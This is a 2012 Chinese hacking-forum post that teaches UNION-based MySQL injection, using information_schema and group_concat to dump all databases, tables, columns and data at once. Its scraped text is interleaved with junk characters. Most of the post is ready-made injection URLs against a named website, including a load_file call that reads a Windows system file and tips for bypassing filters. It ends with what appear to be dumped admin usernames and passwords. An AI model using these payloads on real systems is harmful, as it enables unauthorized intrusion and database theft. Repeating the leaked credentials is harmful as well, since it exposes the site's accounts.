找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1993|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似# X" a: D) k; r; R( P" B5 y
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
+ a- g) t) d: j$ @- u7 q+ T7 d+ O1 A  v8 ~# e! d2 K

" t9 l9 v6 ?5 C. {" `优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
) s% s- A; y+ H- i2 ^6 p; t# P0 H0 O1 F, v; c
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...- Q1 D! P) c" Z$ M$ }% p

; y& v% [( Y2 K) _下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
' U! }1 R. [! C  h3 G在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等1 j0 X. U8 V) v

0 D5 x( X0 M$ |8 X: g2 B- s! lhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
) @0 Z4 w4 j# M" K. B* b, W4 z% N+ y) h. K3 o1 H5 Y0 P
读出所有库:
" Q# t. w( u0 X# Mhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA" f& A, l/ c7 ?3 U; t7 R6 F+ c" O2 S- G) b

/ h0 R/ w! _  a9 o8 F2 G9 K$ _$ f( F/ D  g5 s" P* |* y7 u, W
+ p1 ^. }/ R5 |2 g! S8 J. ]
读出所有表:! d& t! H1 G, r) Y' g5 o0 Z
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()& e7 ]5 H8 i/ c7 O* E
3 _/ u: X6 z9 A# O
读出所有表字段:# l; k/ Z1 b" l& }) Y
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
- \  w( |' i  L# A1 n*/ (97,100,109,105,110)为admin的ascii码 依次类推
+ }7 l0 }' y, l/ K. S( ~- Q# G+ I
, m, o0 z; r9 u; j6 m读出所有表字段里的内容:" U1 T. D5 G$ q% f4 k4 t8 w7 a; V
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin6 C3 T9 u! u* o" e, }

, K. w* B' Y2 V
8 Y$ c0 |, K! z% V" {& E3 V+ r7 J0 e6 t- b1 _  S1 g2 A

4 f. v3 s! x! U' |9 E8 v
+ Z2 E9 }/ B2 i7 ?8 N4 s' R1 v; V* v& H6 _& o5 `
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%234 R  v9 U4 T5 [6 R2 c
2 G3 t; J, o  Y$ E3 v' L

4 T1 W8 q( q7 w9 D& t1 F5 Ahttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
" f% {1 T4 ~& W8 E  l% Y1 F. J6 ?2 R
! q3 \6 i9 r6 L& q( s& f, u  I5 v3 s9 Rhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23  W( T' x- K3 _* n0 Z  Y# `4 ^

/ j# r+ K" R* m7 r8 n
* }7 @! z3 g) l" L- r' n6 Yhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23( K& d$ y# d+ x* Z, w8 _/ C

9 J& j; G8 L; d
, ~: J% j: x, Z2 w        webmaster:dzb521123,simlab:simadmin20043233, ]' i7 I& l+ C$ R8 v0 D  P7 A+ Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表